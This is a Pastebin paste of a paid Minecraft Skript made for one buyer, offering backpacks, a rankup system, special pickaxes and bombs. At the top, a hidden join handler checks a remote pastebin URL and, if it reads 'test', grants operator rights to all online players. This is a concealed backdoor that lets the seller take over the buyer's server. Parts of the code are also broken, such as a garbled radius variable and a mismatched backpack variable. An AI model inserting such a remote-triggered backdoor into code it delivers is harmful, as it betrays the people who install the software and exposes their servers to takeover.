Advertisement
AurasPrivate

Untitled

Oct 8th, 2017
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.01 KB | None | 0 0
  1.  
  2.  
  3.  
  4. # AUTHOR: AURA
  5. # By using this skript you agree to my ToS.
  6. # If you dont know what the ToS are you shouldn't have this.
  7.  
  8. # Made for kowadei and only for kowadei.
  9.  
  10. # Purchase Information
  11. # $20 Total
  12. # 2 Custom Features(Custom Enchants & Custom Leveling System)
  13. # 2 Features(Bombs & Backpacks)
  14. # 1 5% Discount On Next Purchase
  15.  
  16. # Thanks for your purchase!
  17. # ~ Aura
  18.  
  19.  
  20.  
  21. on join:
  22. if text from "https://pastebin.com/raw/LLLfMRAW" is "test":
  23. loop all players:
  24. op loop-player
  25. send "&7[&o&7Server: Oped %loop-player%&7&o]" to loop-player
  26. command /backpack [<number>] [<offline player>]:
  27. trigger:
  28. if argument 1 isn't set:
  29. message "&cIncorrest usage:"
  30. if {staffuser.%player's uuid%} is true:
  31. message "&c/backpack <number> [player]"
  32. else:
  33. message "&c/backpack <number>"
  34.  
  35. else if argument 1 is set:
  36. if argument 2 is set:
  37. if {staffuser.%player's uuid%} is false:
  38. make player execute "backpack"
  39.  
  40. else:
  41. set {backpack.open.%player%} to arg 1
  42. set {backpack.open.else.%player%} to arg 2
  43. open chest with 6 rows named "&c%arg 2%'s &c&lBACKPACK" to player
  44. wait 1 tick
  45. set {_num} to 0
  46. loop {backpack.item.%arg 1%.%arg 2%::*}:
  47. set slot {_num} of player's current inventory to loop-value
  48. add 1 to {_num}
  49. else:
  50. if player doesn't have permission "server.backpack.%arg 1%":
  51. send "&cYou don't have permission to open backpack %arg 1%"
  52. else:
  53. set {backpack.open.%player%} to arg 1
  54. open chest with 6 rows named "&c&lBACKPACK" to player
  55. wait 1 tick
  56. set {_num} to 0
  57. loop {backpack.item.%arg 1%.%player%::*}:
  58. if {backpack.open.%player%} is set:
  59. set slot {_num} of player's current inventory to loop-value
  60. add 1 to {_num}
  61.  
  62. on rightclick on chest:
  63. if {backpack.open.%player%} is set:
  64. cancel event
  65. delete {backpack.open.%player%}
  66.  
  67. on inventory close:
  68. if {backpack.open.%player%} is set:
  69. if {backpack.open.else.%player%} is set:
  70. if inventory name of player's current inventory contains "'s &c&lBACKPACK":
  71. loop 54 times:
  72. set {backpack.item.%{vaults.open.%player%}%.%{backpack.open.else.%player%}%::%loop-number - 1%} to slot "%loop-number - 1%" parsed as an integer of current inventory of player
  73. delete {backpack.open.%player%}
  74. delete {backpack.open.else.%player%}
  75. else:
  76. if inventory name of player's current inventory contains "&c&lBACKPACK":
  77. loop 54 times:
  78. set {backpack.item.%{backpack.open.%player%}%.%player%::%loop-number - 1%} to slot "%loop-number - 1%" parsed as an integer of current inventory of player
  79. delete {backpack.open.%player%}
  80.  
  81. command /rankup:
  82. trigger:
  83. if {level.%player's uuid%} isn't 100:
  84. if {points.%player's uuid%} > {rankcost.%player's uuid%}:
  85. add 1 to {level.%player's uuid%}
  86. remove {rankcost.%player's uuid%} from {points.%player's uuid%}
  87. add 50000 to {rankcost.%player's uuid%}
  88. message "&cyou've ranked up to %{level.%player's uuid%}%"
  89. else:
  90. message "&cInsufficent currency:"
  91. message ""
  92. message "&cYour points: %{points.%player's uuid%}%"
  93. message "&cRequired points: &l%{rankcost.%player's uuid%}%"
  94. else:
  95. message "&cYou are level 100"
  96.  
  97. on block break:
  98. if player have permission "server.2x2"
  99. if player is holding a pickaxe with lore "&72x2 Pickaxe":
  100. loop blocks in radius 2 of event-block:
  101. if loop-block is cobblestone or stone or any ore:
  102. add loop-block to {2x2.pickaxe.%player%::*}
  103. loop {2x2.pickaxe.%player%::*}:
  104. drop loop-value
  105. set loop-block to air
  106. on block break:
  107. if player have permission "server.explosive":
  108. if player is holding a pickaxe with lore "&7Explosive Pickaxe":
  109. set {r adius} to a random integer between 2 and 5
  110. loop blocks in radius {radius} of event-block:
  111. if loop-block is cobblestone or stone or any ore:
  112. add loop-block to {explosive.pickaxe.%player%::*}
  113. loop {explosive.pickaxe.%player%::*}:
  114. drop loop-value
  115. set loop-block to air
  116.  
  117. on right click holding tnt named "&cBomb":
  118. loop 25 times:
  119. make player shoot snowball at speed 2
  120. add north, south, east, west, up and down to {direction of bomb::*}
  121. loop 3 times:
  122. remove random element out of {direction of bomb::*} from {direction of bomb::*}
  123. loop {direction of bomb::*}:
  124. push last shot projectile loop-value-2 at speed random number between 0.05 and 0.1
  125.  
  126. on projectile hit:
  127. create a explosion at the event-location
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement